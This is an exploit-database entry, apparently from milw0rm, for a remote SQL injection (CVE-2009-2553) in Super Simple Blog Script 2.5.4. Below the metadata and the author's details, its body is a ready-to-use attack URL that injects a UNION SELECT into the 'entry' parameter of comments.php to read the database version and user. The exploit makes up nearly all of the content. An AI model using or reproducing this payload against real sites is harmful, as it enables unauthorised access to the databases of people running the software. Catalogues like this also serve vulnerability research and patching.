Super Simple Blog Script 2.5.4 - 'entry' SQL Injection

Author: JIKO
type: webapps
platform: php
port: 
date_added: 2009-07-16 
date_updated:  
verified: 1 
codes: OSVDB-55952;CVE-2009-2553 
tags: 
aliases:  
screenshot_url:  
application_url: 

----------[exploit Debut]
[Remote SQL Injection Vulnerability]
----------[Script Info]

Moi	: JIKO
Site	: No-exploit.Com
Email	: mm  :(  Moghla9 Ferme Closed

----------[Script Info]

Site:http	: http://www.supersimple.org/
Download	: http://supersimple.org/downloads/SuperSimpleBlogScriptV2_5_4.zip

----------[exploit Info]

1]~[Sql]
http://localhost/Path/comments.php?entry=-122222 union select 0,concat(0x223E,version(),0x3A,user())--
----------[exploit Fin]

# milw0rm.com [2009-07-17]